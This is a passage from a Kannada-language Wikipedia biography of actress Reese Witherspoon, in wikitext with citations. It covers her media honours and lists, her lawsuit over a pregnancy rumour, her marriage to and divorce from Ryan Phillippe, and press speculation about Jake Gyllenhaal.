ಉತ್ಪನ್ನ ಅಭಿವೃದ್ಧಿ ಹಾಗೂ ವಾಣಿಜ್ಯ ಜಾಹೀರಾತುಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳಲು ರೀಸ್‌ ಬದ್ಧರಾಗಿದ್ದರು.<ref name="avon products"/> ಈ ಸಂಸ್ಥೆಗೆ ಸೇರುವ ಪ್ರೇರೇಪಣೆಗಳನ್ನು ವಿವರಿಸಿದ ವಿದರ್‌ಸ್ಪೂನ್, "ಒಬ್ಬ ಮಹಿಳೆ ಹಾಗೂ ತಾಯಿಯಾದ ನನಗೆ, ವಿಶ್ವಾದ್ಯಂತ ಇತರೆ ಮಹಿಳೆಯರು ಹಾಗೂ ಮಕ್ಕಳ ಬಗ್ಗೆ ತೀವ್ರ ಕಾಳಜಿಯಿದೆ. ಇಷ್ಟು ವರ್ಷಗಳ ಕಾಲ ನಾನು ಮಹತ್ವದ್ದನ್ನು ಸಾಧಿಸುವುದಕ್ಕಾಗಿ ಸದಾ ಅವಕಾಶಗಳಿಗಾಗಿ ಕಾಯುತ್ತಿದ್ದೆ" ಎಂದು ವಿವರಿಸಿದರು.<ref name="avon products"/> == ಮಾಧ್ಯಮಗಳಲ್ಲಿ == ''ಲೀಗಲ್ಲಿ ಬ್ಲೋಂಡ್‌'' ಚಲನಚಿತ್ರದ ಯಶಶ್ವಿ ಬಿಡುಗಡೆ ನಂತರ, 29 ಸೆಪ್ಟೆಂಬರ್‌ 2001ರಂದು ವಿದರ್‌ಸ್ಪೂನ್ ''[[ಸ್ಯಾಟರ್ಡೇ ನೈಟ್‌ ಲೈವ್‌]]'' ಕಾರ್ಯಕ್ರಮದ ಆತಿಥ್ಯ ವಹಿಸಿಕೊಂಡರು.<ref>{{cite web|title=Saturday Night Live Preps 'Emotional' Premiere| publisher=[[ABC News]]|date=2001-09-27|url=http://abcnews.go.com/Entertainment/story?id=102195&page=1|accessdate=2007-12-12}}</ref> 2005ರಲ್ಲಿ, ''[[ಟೀನ್‌ ಪೀಪಲ್‌]]'' ಪತ್ರಿಕೆಯ ಅತಿ ಪ್ರಭಾವೀ ಕಿರಿಯ ಹಾಲಿವುಡ್‌ ನಟ-ನಟಿಯರ ಪಟ್ಟಿಯಲ್ಲಿ ರೀಸ್‌ ಐದನೆಯ ಸ್ಥಾನ ಗಳಿಸಿಕೊಂಡರು.<ref>{{cite web|publisher=[[Sign on San Diego]]|date=2005-08-06|title=Kutcher tops list of young, powerful|url=http://www.signonsandiego.com/uniontrib/20050806/news_1c06stars.html|accessdate=2007-12-12}}</ref> 2006ರಲ್ಲಿ, ''[[ಟೈಮ್‌]]'' ಪತ್ರಿಕೆಯು ಪ್ರತಿ ವರ್ಷವೂ ಆಯ್ಕೆ ಮಾಡುವ [[ಟೈಮ್‌ 100]] ವಿಶ್ವದ ಅತ್ಯಂತ ಪ್ರಭಾವೀ ವ್ಯಕ್ತಿಗಳ ಪಟ್ಟಿಯಲ್ಲಿ ರೀಸ್‌ ಸೇರ್ಪಡೆಯಾದರು.<ref>{{cite web|title=The people who shape our world|publisher=[[Time (magazine)|Time]]|url=http://www.time.com/time/2006/time100/|accessdate=2007-11-05|archive-date=2006-05-02|archive-url=https://web.archive.org/web/20060502231929/http://www.time.com/time/2006/time100/|url-status=dead}}</ref> ಅವರ ಬಗೆಗಿನ ಲೇಖನವನ್ನು ಸ್ನೇಹಿತ ಮತ್ತು ''ಲೀಗಲ್ಲಿ ಬ್ಲೋಂಡ್‌'' ಎರಡೂ ಚಲನಚಿತ್ರಗಳಲ್ಲಿನ ಸಹನಟ [[ಲೂಕ್‌ ವಿಲ್ಸನ್‌]] ಬರೆದರು.<ref>{{cite web|title=Reese Witherspoon|author=Wilson, Luke|date=2006-04-30|publisher=[[Time (magazine)|Time]]|url=http://www.time.com/time/magazine/article/0,9171,1187328,00.html|accessdate=2007-11-05|archive-date=2007-10-22|archive-url=https://web.archive.org/web/20071022043835/http://www.time.com/time/magazine/article/0%2C9171%2C1187328%2C00.html|url-status=dead}}</ref> ಇದೇ ವರ್ಷ, ''[[ಫಾರ್‌ ಹಿಮ್‌ ಪತ್ರಿಕೆ]]'' ಯ ಓದುಗರು ಅವರನ್ನು "ವಿಶ್ವದ 100 ಅತಿ 'ಲೈಂಗಿಕಾರ್ಷಣೆಯ' ಮಹಿಳೆಯರ" ಪೈಕಿ ಒಬ್ಬರು ಎಂದು ಕೂಡ ಆಯ್ಕೆ ಮಾಡಿದರು.<ref>{{cite web|title=The 100 Sexiest Women In The World 2006|publisher=[[FHM]]|url=http://www.fhm.com/site/content/article.aspx?ID=15886|accessdate=2007-11-05|archive-date=2007-10-22|archive-url=https://web.archive.org/web/20071022070934/http://www.fhm.com/site/content/article.aspx?ID=15886|url-status=dead}}</ref> ''[[ಫೋರ್ಬ್ಸ್‌]]'' ಪತ್ರಿಕೆಯ ವಾರ್ಷಿಕ ಸಂಚಿಕೆಗಳ [[ಸೆಲೆಬ್ರಿಟಿ 100]] ಪಟ್ಟಿಯಲ್ಲಿ 2006 ಮತ್ತು 2007ರಲ್ಲಿ ಅವರು ಕ್ರಮವಾಗಿ 75 ಮತ್ತು 80ನೆಯ ಸ್ಥಾನ ಗಳಿಸಿದರು.<ref>{{cite web|title=2006:The Celebrity 100|publisher=[[Forbes]]|url=http://www.forbes.com/home/celebrities/2006/06/12/06celebrities_money-power-celebrities-list_land.html|accessdate=2007-11-21|archive-date=2007-12-11|archive-url=https://web.archive.org/web/20071211081422/http://www.forbes.com/home/celebrities/2006/06/12/06celebrities_money-power-celebrities-list_land.html|url-status=dead}}</ref><ref>{{cite web|title=2007:The Celebrity 100|publisher=[[Forbes]] |url=http://www.forbes.com/lists/2007/53/07celebrities_The-Celebrity-100_Rank_4.html| accessdate=2007-11-21}}</ref> ಇಷ್ಟೇ ಅಲ್ಲದೆ, ''[[ಫೋರ್ಬ್ಸ್‌]]'' ಪತ್ರಿಕೆಯು ಅವರು ತೆರೆಯ ಮೇಲೆ ನಿರ್ವಹಿಸಿದ ಪಾತ್ರಗಳಿಗೆ ಅನುಗುಣವಾಗಿ ನಂಬಿಕಸ್ಥ ಖ್ಯಾತನಾಮರ ಪಟ್ಟಿಯಲ್ಲಿ ಅವರನ್ನು ಆಗ್ರಸ್ಥಾನದಲ್ಲಿ ಇರಿಸಿತು.<ref>{{cite web|author=Rose, Lacey|title=The Ten Most Trustworthy Celebrities|url=http://www.forbes.com/technology/2006/09/25/trust-celebrity-politicians-tech_cx_lr_06trust_0925celeb.html|publisher=[[Forbes]]|date=2006-09-25|accessdate=2007-11-21|archiveurl=https://web.archive.org/web/20071201040724/http://www.forbes.com/technology/2006/09/25/trust-celebrity-politicians-tech_cx_lr_06trust_0925celeb.html|archivedate=2007-12-01}}</ref> ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ತಮ್ಮ ಮೂರನೆಯ ಶಿಶುವಿನೊಂದಿಗೆ ಗರ್ಭಿಣಿಯಾಗಿದ್ದಾರೆ ಎಂದು ''[[ಸ್ಟಾರ್‌]]'' ಪತ್ರಿಕೆ 2006ರಲ್ಲಿ ಕಥೆಯನ್ನು ಕಟ್ಟಿತ್ತು. ರೀಸ್ ಈ ಪತ್ರಿಕೆಯ ಮಾತೃ ಸಂಸ್ಥೆ [[ಅಮೆರಿಕನ್‌ ಮೀಡಿಯಾ ಇಂಕ್]] ವಿರುದ್ಧ ಖಾಸಗಿ ಜೀವನದಲ್ಲಿ ಹಸ್ತಕ್ಷೇಪ ಕುರಿತು ಲಾಸ್‌ ಏಂಜೆಲೀಸ್‌ ಸುಪೀರಿಯರ್‌ ಕೋರ್ಟ್‌ನಲ್ಲಿ ಮೊಕದ್ದಮೆ ಹೂಡಿದರು.<ref>{{cite web|date=2006-06-22|title=People: Reese Witherspoon, Sonny Rollins, Heidi Klum|publisher=[[International Herald Tribune]]|url=http://www.iht.com/articles/2006/06/22/features/peepfri.php|accessdate=2007-11-10|archiveurl=https://archive.is/20120629074346/http://www.nytimes.com/2006/06/22/arts/22iht-peepfri.2028129.html?_r=1|archivedate=2012-06-29|url-status=live}}</ref> ನಮೂದಿಸಿರದ ಸಾಮಾನ್ಯ ಮತ್ತು ದಂಡನೆಯ ಹಾನಿಗಳನ್ನು ತುಂಬಿಕೊಡಬೇಕೆಂದು ದಾವೆಯಲ್ಲಿ ಅವರು ಕೋರಿದರು. ಈ ವರದಿಯಿಂದ ತನ್ನ ವರ್ಚಸ್ಸಿಗೆ ಹಾನಿಯಾಗಿದೆ. ಏಕೆಂದರೆ ಮುಂಬರುವ ಚಿತ್ರಗಳ ನಿರ್ಮಾಪಕರಿಂದ ತಾನು ಸುದ್ದಿಯನ್ನು ಬಚ್ಚಿಡುತ್ತಿದ್ದೇನೆಂಬ ಭಾವನೆಯನ್ನು ಅದು ಮೂಡಿಸಿದೆ.<ref>{{cite web|title=Witherspoon Sues Over Pregnancy Story|date=2006-06-22| publisher=[[The Washington Post]]|url=http://www.washingtonpost.com/wp-dyn/content/article/2006/06/22/AR2006062201291.html|accessdate=2007-11-10}}</ref> ''[[ಪೀಪಲ್‌]]'' ಪತ್ರಿಕೆಯ ವಾರ್ಷಿಕ "100 ಅತಿ ಸುಂದರಿ" ಸಂಚಿಕೆಗಳಲ್ಲಿ ವಿದರ್‌ಸ್ಪೂನ್ ನಾಲ್ಕು ಬಾರಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾರೆ.<ref>{{cite web|title=Facts about People's most beautiful list|url=http://www.cbsnews.com/htdocs/pdf/042507_people_list_facts.pdf|format=PDF |publisher=[[CBS News]]|accessdate=2007-12-28}}</ref> 2007ರಲ್ಲಿ, ''ಪೀಪಲ್‌'' ಹಾಗೂ ಮನರಂಜನಾ ವಾರ್ತಾ ಕಾರ್ಯಕ್ರಮ ''[[ಅಕ್ಸೆಸ್‌ ಹಾಲಿವುಡ್‌]]'' ನಿಂದ ವರ್ಷದ ಅತ್ಯುತ್ತಮ ಉಡುಗೆ ಧರಿಸಿದ ನಟಿಯರಲ್ಲಿ ಒಬ್ಬಳಾಗಿ ರಿದರ್‌ಸ್ಪೂನ್ ಆಯ್ಕೆಯಾದರು.<ref>{{cite web|date=2007-09-12|title=People: Beyonce, Jennifer Lopez, Reese Witherspoon Among Best-Dressed|publisher=[[Fox News]]|url=http://www.foxnews.com/story/0,2933,296596,00.html|accessdate=2007-11-21}}</ref><ref>{{cite web|title=Access Hollywood's Best Dressed Stars Of 2007|publisher=[[Access Hollywood]]|url=https://omg.yahoo.com/news/em-access-hollywoods-em-best-dressed-stars-of-2007/5021|date=2007-12-21|accessdate=2007-12-28}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಇ-ಪೋಲ್‌ ಮಾರುಕಟ್ಟೆ ಸಂಶೋಧನೆ ನಡೆಸಿದ ಅಧ್ಯಯದ ಪ್ರಕಾರ, ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ 2007 ಇಸವಿಯ ಅತಿ ಇಷ್ಟವಾಗಬಲ್ಲ ಮಹಿಳಾ ಖ್ಯಾತನಾಮ ವ್ಯಕ್ತಿಯೆಂದು ತೋರಿಸಿತು.<ref>{{cite web|url=http://www.reuters.com/article/entertainmentNews/idUSN0432014220080104?feedType=RSS&feedName=entertainmentNews|title=Reese Witherspoon tops list of most-liked celebs|publisher=[[Reuters]]|accessdate=2008-01-05}}</ref> ಅದೇ ವರ್ಷ, ಅಮೆರಿಕದ ಚಲನಚಿತ್ರೋದ್ಯಮದಲ್ಲಿ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಅತಿ ಹೆಚ್ಚು ಸಂಭಾವನೆ ಪಡೆದ ನಟಿಯೆನಿಸಿ, ಪ್ರತಿ ಚಲನಚಿತ್ರಕ್ಕೆ $15ರಿಂದ $20 ದಶಲಕ್ಷ ಹಣ ಗಳಿಸುತ್ತಿದ್ದರು.<ref>{{cite web|title=A testing time for Reese Witherspoon|date= 2007-10-07| author= Goodwin, Christopher|publisher=[[The Times]] |url=http://entertainment.timesonline.co.uk/tol/arts_and_entertainment/film/article2582742.ece|accessdate=2007-11-05}}</ref><ref>{{cite web|title=Witherspoon is Hollywood's highest-paid actress|author=Grabicki, Michelle |date= 2007-11-30|url=http://www.reuters.com/article/peopleNews/idUSN3030609020071130|publisher=[[Reuters]]|accessdate=2007-11-05}}</ref> ಏಪ್ರಿಲ್‌ 2008ರಲ್ಲಿ, '[[ಐಡಲ್‌ ಗಿವ್ಸ್‌ ಬ್ಯಾಕ್‌]]' ಎಂಬ ಸಹಾಯಾರ್ಥ ಅಭಿಯಾನದಲ್ಲಿ ಅತಿಥಿ ನಟಿಯಾಗಿ ಕಾಣಿಸಿಕೊಂಡರು.<ref>{{cite web| url=http://www.ew.com/ew/article/0,,20190545,00.html|title= 'Idol Gives Back,' Almost Makes Up for Sanjaya]| publisher=[[Entertainment Weekly]]|accessdate=2008-05-18}}</ref> == ವೈಯಕ್ತಿಕ ಜೀವನ == === ವಿವಾಹ === ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಮಾರ್ಚ್‌ 1997ರಲ್ಲಿ ನಡೆದ ತಮ್ಮ 21ನೆಯ ಹುಟ್ಟುಹಬ್ಬದ ಸಂತೋಷಕೂಟದಲ್ಲಿ ಅಮೆರಿಕನ್‌ ನಟ ರಯಾನ್‌ ಫಿಲಿಪ್‌ರನ್ನು ಮೊದಲ ಬಾರಿಗೆ ಭೇಟಿಯಾದರು. 'ನೀನೇ ನನ್ನ ಹುಟ್ಟುಹಬ್ಬದ ಉಡುಗೊರೆ!' ಎಂದು ರೀಸ್‌ ರಯಾನ್‌ಗೆ ಹೇಳಿ, ತಮ್ಮನ್ನು ಪರಿಚಯಿಸಿಕೊಂಡರು.<ref>{{cite web|author=Scott, Paul|author= 2006-03-07|title=Reese has an Oscar, but can she keep her husband?|publisher=[[Daily Mail]]|url=http://www.dailymail.co.uk/tvshowbiz/article-379136/Reese-Oscar-husband.html|accessdate=2007-11-10}}</ref><ref name="split end">{{cite web|author=de Kretser, Leela|date=2006-10-31|title=Split end for a'Legal blonde'|publisher=[[New York Post]]|url=http://www.nypost.com/seven/10312006/news/nationalnews/split_end_for_a_legal_blonde_nationalnews_leela_de_kretser.htm|accessdate=2007-11-10|archiveurl=https://web.archive.org/web/20070311063143/http://www.nypost.com/seven/10312006/news/nationalnews/split_end_for_a_legal_blonde_nationalnews_leela_de_kretser.htm|archivedate=2007-03-11}}</ref> ಡಿಸೆಂಬರ್‌ 1998ರಲ್ಲಿ ಜೋಡಿಯ ನಿಶ್ಚಿತಾರ್ಥವಾಯಿತು. ಗಲ್ಲಾಪೆಟ್ಟಿಗೆ ಯಶಸ್ವಿ ''[[ಕ್ರೂಯಲ್‌ ಇಂಟೆನ್ಷನ್ಸ್‌]]'' ಚಲನಚಿತ್ರವು ಬಿಡುಗಡೆಯಾದ ನಂತರ <ref>{{cite web|title=Reese Witherspoon, Ryan Phillippe separate|publisher=[[USA Today]]|author=Thomas, Karen|date=2006-11-08|url=http://www.usatoday.com/life/people/2006-10-30-witherspoon_x.htm|accessdate=2007-11-10}}</ref> 5 ಜೂನ್ 1999ರಂದು ಅವರು [[ದಕ್ಷಿಣ ಕ್ಯಾರೊಲಿನಾದ ಚಾರ್ಲ್ಸ್‌ಟನ್‌]]ನಲ್ಲಿರುವ ವೈಡ್‌ ಅವೇಕ್‌ ಪ್ಲ್ಯಾಂಟೇಷನ್‌ನಲ್ಲಿ ಮದುವೆಯಾದರು.<ref name="cnn"/><ref>{{cite news|url=http://marriage.about.com/od/entertainmen1/p/witherspoon.htm|title=Reese Witherspoon and Ryan Phillippe Marriage Profile|coauthors=Sheri & Bob Stritof|publisher=About.com|accessdate=2008-07-02}}</ref><ref>{{cite web|title=Witherspoon. Phillippe. Married|publisher=Eonline.com|author= Frankel, Daniel |date=1999-06-08|url=http://uk.eonline.com/uberblog/archive.jsp?uuid=ab83c281-64be-477e-b585-ad632ddde656&entry=index|accessdate=2007-11-10}}</ref> ಅವರಿಗೆ ಇಬ್ಬರು ಮಕ್ಕಳಿದ್ದಾರೆ. 5 ಸೆಪ್ಟೆಂಬರ್‌ 1999ರಂದು ಜನಿಸಿದ ಪುತ್ರಿ ಆವಾ ಎಲಿಜಬೆತ್‌,<ref>{{cite web|title= Entertainment: News In Brief|publisher=[[BBC News]]|url=http://news.bbc.co.uk/1/hi/entertainment/449118.stm|accessdate=2007-11-10 | date=1999-09-16}}</ref> ಹಾಗೂ 23 ಅಕ್ಟೋಬರ್‌ 2003ರಂದು ಜನಿಸಿದ ಪುತ್ರ ಡೀಕಾನ್‌ ರೀಸ್‌.<ref name="cnn">{{cite web|title=Reese Witherspoon gives birth|publisher=[[CNN]]|date=2003-10-29|url=http://www.cnn.com/2003/SHOWBIZ/Movies/10/29/ple.witherspoon.reut/|accessdate=2007-11-10}}</ref> ಮಕ್ಕಳ ಪಾಲನೆಗೆ ಬಿಡುವು ಮಾಡಿಕೊಳ್ಳಲು, ರೀಸ್‌ ಮತ್ತು ರಯಾನ್‌ ತಮ್ಮ-ತಮ್ಮ ಚಲನಚಿತ್ರಗಳಿಗಾಗಿ ಚಿತ್ರೀಕರಣ ವೇಳಾಪಟ್ಟಿಗಳನ್ನು ಸರದಿಯಂತೆ ಬದಲಿಸುತ್ತಿದ್ದರು.<ref name="split end"/> 2005ರಲ್ಲಿ, ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಮತ್ತು ರಯಾನ್‌ ಫಿಲಿಪ್‌ ಜೋಡಿಯು ತಮ್ಮ ವೈವಾಹಿಕ ಜೀವನ ಕುರಿತು ಸಲಹಾಕಾರರ ನೆರವು ಪಡೆಯುತ್ತಿರುವ ಕುರಿತು ವರದಿಗಳಿಗೆ ಪ್ರತ್ಯುತ್ತರವಾಗಿ, "ನಾವು ಅದನ್ನು ಹಿಂದೆಯೂ ಮಾಡಿದ್ದೇವೆ. ಈ ಕಥೆಯನ್ನು ಹಿಡಿದುಕೊಂಡ ಜನರು ಇದನ್ನು ನಕಾರಾತ್ಮಕವಾಗಿ ತೋರುವಂತೆ ಮಾಡಿರುವುದು ನನಗೆ ವಿಲಕ್ಷಣವಾಗಿ ಕಾಣಿಸಿತು".' <ref name="usatoday">{{cite web| title=Reese Witherspoon, Ryan Phillippe separate| publisher=[[USA Today]]|url=http://www.usatoday.com/life/people/2006-10-30-witherspoon_x.htm|accessdate=2007-10-26}}</ref> ಡಿಸೆಂಬರ್‌ 2005ರಲ್ಲಿ ನಡೆದ ''[[ಒಪ್ರಾ ವಿನ್ಫ್ರೇ ಷೋ]]'' ದಲ್ಲಿ ರೀಸ್‌ ಹೇಳಿದ್ದು, 'ಯಾವ ಮಾನದಂಡಗಳ ಆಧಾರದ ಮೇಲೆ ನಿಮ್ಮ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳನ್ನು ಅಥವಾ ವೈವಾಹಿಕ ಜೀವನವನ್ನು ಸರಿಪಡಿಸಿಕೊಳ್ಳುವುದು ಸರಿಯಲ್ಲ ಅಂತೀರ? ಏನು,ಮದುವೆಯು ಒಂದು ಪ್ರಯಾಣವಲ್ಲವೇ? ... ಯಾರೂ ಪರಿಪೂರ್ಣರಲ್ಲ ... ನಮಗೆ ನಮ್ಮದೇ ಸಮಸ್ಯೆಗಳಿರುತ್ತದೆ.'<ref name="usatoday"/><ref>{{cite web | url=http://talentdevelop.com/counseling.html | title=Reese Witherspoon on the benefits of therapy |publisher=Talentdevelop.com|date=2005-12-10|accessdate=2006-10-30}}</ref> ಅದೇ ತಿಂಗಳು, ಇನ್ನೊಂದು ಸಂದರ್ಶನದಲ್ಲಿ, ರೀಸ್‌ ಹೇಳಿದ್ದು, 'ತಾವೇ ಪರಿಪೂರ್ಣ, ಅಥವಾ ತಮ್ಮ ಜೀವನ ಪರಿಪೂರ್ಣ, ಅಥವಾ ತಮ್ಮ ಸಂಬಂಧ ಪರಿಪೂರ್ಣ ಎಂಬ ಕಲ್ಪನೆಯನ್ನು ಯಾರಾದರೂ ಇರಿಸಿಕೊಂಡಿದ್ದರೆ, ತೋರಿಕೆಯ ಹೊರನೋಟವು ಹಾಳಾಗುತ್ತದೆಂದು ಚಿಂತಿತರಾಗಿ ನಿಜಾಂಶವನ್ನು ಬಹಿರಂಗ ಮಾಡಲು ವಿರೋಧವಾಗಿದ್ದರೆ, ಅದು ತೊಂದರೆ ಕೊಡುವ ವಿಷಯವಾಗಿದೆ.' === ಪ್ರತ್ಯೇಕತೆ ಮತ್ತು ವಿಚ್ಛೇದನ === ತಾವು ಏಳು ವರ್ಷದ ವೈವಾಹಿಕ ಜೀವನದ ನಂತರ ಔಪಚಾರಿಕವಾಗಿ ಪ್ರತ್ಯೇಕವಾಗಿರಲು ನಿರ್ಧರಿಸಿರುವುದಾಗಿ ಅಕ್ಟೋಬರ್‌ 2006ರಲ್ಲಿ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಮತ್ತು ರಯಾನ್‌ ಫಿಲಿಪ್‌ ಪ್ರಕಟಿಸಿದರು. ಇದರ ಮುಂದಿನ ತಿಂಗಳು, ಬಗೆಹರಿಸಲಾಗದ ಭಿನ್ನಾಭಿಪ್ರಾಯಗಳು ಎಂಬ ಕಾರಣ ಉದಾಹರಿಸಿ, ವಿದರ್‌ಸ್ಪೂನ್ ವಿಚ್ಛೇದನಕ್ಕಾಗಿ ಅರ್ಜಿ ಸಲ್ಲಿಸಿದರು.<ref name="divorce fox news">{{cite web|date=2006-11-09|date=2007-10-10|title=It's Official: Reese Witherspoon Files For Divorce|publisher=[[Fox News Channel]]|url=http://www.foxnews.com/story/0,2933,228377,00.html|accessdate=2007-11-10}}</ref> ತಮ್ಮ ಅರ್ಜಿಯಲ್ಲಿ, ಅವರ ಇಬ್ಬರೂ ಮಕ್ಕಳ ಜಂಟಿ ಕಾನೂನುಬದ್ಧ ಪಾಲನೆ ಹಾಗೂ ಏಕಮಾತ್ರ ದೈಹಿಕ ಪಾಲನೆ, ಮಕ್ಕಳನ್ನು ಭೇಟಿ ನೀಡಲು ಫಿಲಿಪ್‌ರಿಗೆ ಸಂಪೂರ್ಣ ಹಕ್ಕುಗಳಿಗೆ ಕೋರಿದರು.<ref name="divorce fox news"/><ref>{{cite web|title=Actors' split formalised|publisher = [[Now magazine|NOW]]|author = Arnold, Holly |url=http://www.nowmagazine.co.uk/celebrity-news/243583/reese-witherspoon-and-ryan-phillippe-s-divorce-final/1/|accessdate=2007-11-10}}</ref> ದಂಪತಿ ಯಾವುದೇ [[ವಿವಾಹಪೂರ್ವ ಒಪ್ಪಂದ]] ಮಾಡಿಕೊಂಡಿರಲಿಲ್ಲ. ಹಾಗಾಗಿ, ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ ಕಾನೂನಿನಡಿ, ವೈವಾಹಿಕ ಜೀವನದಲ್ಲಿ ಗಳಿಸಿದ ಎಲ್ಲಾ ಅಸ್ತಿಪಾಸ್ತಿಯಲ್ಲಿ ಅರ್ಧದಷ್ಟು ಪಾಲಿಗೆ ದಂಪತಿ ಅರ್ಹತೆ ಪಡೆಯುತ್ತಾರೆ. ಅದರಲ್ಲಿ ವಿದರ್‌ಸ್ಪೂನ್‌ ಗಳಿಸಿದ್ದು ಮಹತ್ವದ್ದಾಗಿತ್ತು.<ref>{{cite web|title=Celebs' Prenups May Be as Important as 'I Do's|date=2006-11-11|publisher=[[ABC News]]|url=http://abcnews.go.com/GMA/story?id=2644759&page=1|accessdate=2007-11-10}}</ref><ref>{{cite web|title=Lady Stars Leaving Lesser Spouses Behind|date=Noveck, Jocelyn|date=2006-11-08|publisher=[[The Washington Post]]|url=http://www.washingtonpost.com/wp-dyn/content/article/2006/11/08/AR2006110801765_pf.html|accessdate=2007-11-10}}</ref> ನ್ಯಾಯಾಲಯವು ರಯಾನ್‌ ಫಿಲಿಪ್‌ರಿಗೆ ಯಾವುದೇ [[ಜೀವನಾಂಶದ ಬೆಂಬಲ]] ದಯಪಾಲಿಸಬಾರದೆಂದು ರೀಸ್‌ ಪ್ರಾರ್ಥನೆ ಸಲ್ಲಿಸಿದಾಗ ರಯಾನ್‌ ವಿರೋಧಿಸಲಿಲ್ಲ.<ref name="divorce fox news"/> ಮೇ 15, 2007ರಲ್ಲಿ,ದಂಪತಿಯ ಮಕ್ಕಳ ಜಂಟಿ ದೈಹಿಕ ಪಾಲನೆಗಾಗಿ ರಯಾನ್‌ ಫಿಲಿಪ್‌ ಕೋರಿಕೆ ಸಲ್ಲಿಸಿದರು. ಆದರೂ, ರೀಸ್‌ ತಮ್ಮಿಂದ ಬೆಂಬಲ ಪಡೆಯುವ ಕೋರಿಕೆಯನ್ನು ತಡೆಯುವ ಯಾವುದೇ ಕ್ರಮಕ್ಕೆ ಮುಂದಾಗಲಿಲ್ಲ.<ref name="ryan seek custody">{{cite web|publisher=[[People (magazine)|People]]|url=http://www.people.com/people/article/0,,20039433,00.html?xid=rss-topheadlines|author=Lee, Ken|date=2007-05-18|title=Ryan Phillippe Seeks Joint Custody of Kids|accessdate=2007-11-10|archive-date=2007-08-29|archive-url=https://web.archive.org/web/20070829113825/http://www.people.com/people/article/0,,20039433,00.html?xid=rss-topheadlines|url-status=dead}}</ref> ಸೆಪ್ಟೆಂಬರ್‌ 2007ರಲ್ಲಿ, ಮೊದಲ ಬಾರಿಗೆ ಪ್ರತ್ಯೇಕಗೊಳ್ಳುವ ಕುರಿತು ಬಹಿರಂಗವಾಗಿ ಮಾತನಾಡಿದ ರಿದರ್‌ಸ್ಪೂನ್ 'ಬಹಳ ಕಷ್ಟಕರ ಹಾಗೂ ಭಯಾನಕ ಅನುಭವ ನೀಡಿತು' ಎಂದು ''[[ಎಲ್ಲೆ]]'' ಪತ್ರಿಕೆಗೆ ತಿಳಿಸಿದರು.<ref>{{cite web|title=Reese Witherspoon and Ryan Phillippe Officially Divorced|author=Ivory, Jane|publisher=Efluxmedia|date=2007-10-11|url=http://www.efluxmedia.com/news_Reese_Witherspoon_and_Ryan_Phillippe_Officially_Divorced_09520.html|accessdate=2007-11-10|archive-date=2008-10-25|archive-url=https://web.archive.org/web/20081025035215/http://www.efluxmedia.com/news_Reese_Witherspoon_and_Ryan_Phillippe_Officially_Divorced_09520.html|url-status=dead}}</ref> ಅಕ್ಟೋಬರ್‌ 5, 2007ರಂದು ಲಾಸ್‌ ಏಂಜೆಲೀಸ್‌ ಸುಪೀರಿಯರ್‌ ಕೋರ್ಟ್‌ ರಿದರ್‌ಸ್ಪೂನ್ ಮತ್ತು ಫಿಲಿಪ್‌ರ ಅಂತಿಮ ವಿಚ್ಛೇದನಾ ದಾಖಲೆಗಳಿಗೆ ಸಮ್ಮತಿಸಿದ್ದರಿಂದ ಅವರ ವಿವಾಹ ಕೊನೆಗೊಂಡಿತು.<ref>{{cite web|title=Reese and Ryan: It's Officially Over |date=2007-10-10|publisher=[[Us Weekly]] |url=http://usmagazine.com/node/12483 |accessdate=2007-10-26}}</ref><ref>{{cite web |title=Witherspoon, Phillippe Divorce Finalized |publisher=[[WRC-TV]] |date=2007-10-11 |url=http://www.nbc4.com/entertainment/14316777/detail.html |accessdate=2007-10-26 |archive-date=2007-12-12 |archive-url=https://web.archive.org/web/20071212011457/http://www.nbc4.com/entertainment/14316777/detail.html |url-status=dead }}</ref> ಇಸವಿ 2007ರದುದ್ದಕ್ಕೂ, ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಮತ್ತು ಅವರ ''[[ರೆಂಡಿಷನ್‌]]'' ಸಹನಟ [[ಜೇಕ್‌ ಗಿಲೆನ್ಹಾಲ್‌]] ನಡುವಿನ ಪ್ರೇಮಸಂಬಂಧ ಕುರಿತು ಸಮೂಹ ಮಾಧ್ಯಮಗಳಲ್ಲಿ ಸತತವಾಗಿ ಊಹಾಪೋಹಗಳು ಹುಟ್ಟಿಕೊಂಡಿದ್ದವು. ''ರೆಂಡಿಷನ್‌'' ಚಲನಚಿತ್ರದ ಪ್ರಚಾರದ ಸಮಾರಂಭವೊಂದರಲ್ಲಿ 2007ರ ಕೊನೆಯಲ್ಲಿ ಈ ಜೋಡಿಯು ಈ ವದಂತಿಗಳನ್ನು ತಳ್ಳಿಹಾಕಿತ್ತು.<ref>{{cite web|title=Reese Witherspoon and Jake Gyllenhaal Set the Record Straight|publisher=[[Entertainment Tonight]]|date=2007-09-07|url=http://www.etonline.com/news/2007/09/53772/index.html|accessdate=2007-11-17|archive-date=2007-10-13|archive-url=https://web.archive.org/web/20071013235052/http://www.etonline.com/news/2007/09/53772/index.html|url-status=dead}}</ref> ಅಕ್ಟೋಬರ್‌ 2007ರಲ್ಲಿ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ವಿಚ್ಛೇದನ ಸಂಪೂರ್ಣಗೊಂಡ ನಂತರ, ರೀಸ್‌ ಮತ್ತು ಜೇಕ್‌ ಗಿಲೆನ್ಹಾಲ್‌ ತಮ್ಮ ಸಂಬಂಧದ ಕುರಿತು ಮುಕ್ತತೆ ತೋರಿಸಿದರು. ಇವರಿಬ್ಬರ ಜೋಡಿ ರೋಮ್‌ನಲ್ಲಿ ವಿಹರಿಸುತ್ತಿರುವ ಪಪರಾಜಿ ತೆಗೆದ ಚಿತ್ರಗಳನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದ್ದೇ ಇದಕ್ಕೆ ವಿಶೇಷ ಕಾರಣ ಎನ್ನಲಾಗಿದೆ.<ref>{{cite web| title=Reese Witherspoon and Jake Gyllenhaal come out as a couple during a romantic 